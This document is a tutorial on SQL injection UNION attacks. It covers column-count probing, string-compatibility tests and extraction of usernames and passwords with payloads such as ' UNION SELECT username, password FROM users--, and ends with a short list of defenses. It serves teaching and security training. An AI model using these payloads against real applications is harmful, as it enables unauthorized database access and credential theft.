SQL Injection Union Attacks
Understanding UNION
The UNION
operator combines results from multiple SELECT
queries into a single result set:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
Key Requirements
- Equal Columns: Both queries must return same number of columns.
- Compatible Data Types: Corresponding columns must have compatible data types.
Finding Column Count
ORDER BY
' ORDER BY 1--' ORDER BY 2--' ORDER BY 3--/* Continue until error */
How it works:
- Attempts to sort by column number
- Error occurs when number exceeds available columns
UNION SELECT NULL
' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--/* Continue until success */
Why NULL?
- NULL is compatible with all common data types
- Increases likelihood of successful injection
- Helps avoid data type mismatch errors
Expected Responses
- Error: Column count mismatch
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
- Success: Additional row appears with NULL values
- Application Behavior:
- May show visible changes in output
- Might trigger NULL pointer exceptions
- Could show generic error pages
Finding String-Compatible Columns
Testing String Data Types
After finding column count, test each column for string compatibility:
' UNION SELECT 'a',NULL,NULL,NULL--' UNION SELECT NULL,'a',NULL,NULL--' UNION SELECT NULL,NULL,'a',NULL--' UNION SELECT NULL,NULL,NULL,'a'--
Possible Outcomes
- Error: Column not string-compatible
- Success: Response includes injected string
'a'
Extracting Data Using UNION
Basic Data Extraction
- Original query return 2 string-compatible columns
- Injection point is in
WHERE
clause - Target table:
users
with columnsusername
andpassword
' UNION SELECT username, password FROM users--
Single Column Multiple Values
When limited to one column, concatenate values:
' UNION SELECT username || '~' || password FROM users--
Notes
- Uses
||
as Oracle concatenation operator ~
serves as value separator- Combines multiple columns into single output
Attack Methodology
- Identify number of columns (ORDER BY or NULL method)
- Find string-compatible columns
- Determine target table/column names
- Craft UNION query
- Extract sensitive data
Defense Strategies
- Parameterized queries
- Input validation
- Proper error handling
- Least privilege database users
- Web application firewall (WAF)